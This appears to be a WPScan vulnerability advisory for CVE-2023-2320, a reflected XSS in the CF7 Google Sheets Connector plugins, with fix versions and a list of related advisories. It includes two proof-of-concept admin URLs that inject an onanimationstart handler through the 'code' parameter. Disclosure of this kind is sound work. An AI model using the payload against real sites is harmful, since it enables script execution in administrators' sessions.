CF7 Google Sheets Connector (Free < 5.0.2, Pro < 2.3.7) – Reflected XSS | CVE 2023-2320 | Plugin Vulnerabilities

Description

The plugins do not escape a parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in admin open the URL below

cf7-google-sheets-connector - https://example.com/wp-admin/admin.php?page=wpcf7-google-sheet-config&code="style=animation-name:rotation onanimationstart=alert(/XSS/)//

cf7-google-sheets-connector-pro (when there is already a google token set) - https://example.com/wp-admin/admin.php?page=wpcf7-google-sheet-config&tab=integration&code="style=animation-name:rotation onanimationstart=alert(/XSS/)//

Affects Plugins

cf7-google-sheets-connector

Fixed in 5.0.2

cf7-google-sheets-connector-pro

Fixed in 2.3.7

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Erwan LR (WPScan)

Verified

Yes

WPVDB ID

f17ccbaa-2fcd-4f17-a4da-73f2bc8a4fe9

Timeline

Publicly Published

2023-06-12 (about 2 years ago)

Added

2023-06-12 (about 2 years ago)

Last Updated

2023-07-11 (about 2 years ago)

Other

Published

Title

Published

2021-11-02

Title

ARForms Form Builder < 1.5 - Admin+ Stored Cross Site Scripting

Published

2019-10-25

Title

About Author < 1.4.0 - Authenticated Stored Cross-Site Scripting (XSS)

Published

2024-06-04

Title

Download Manager < 3.2.94 - Authenticated (Contributor+) Stored Cross-Site Scripting via wpdm_modal_login_form Shortcode

Published

2023-11-07

Title

Actueel Financieel Nieuws – Denk Internet Solutions < 6.0.0 - Admin+ Stored XSS

Published

2016-12-21

Title

Chained Quiz < 1.0 - Multiple XSS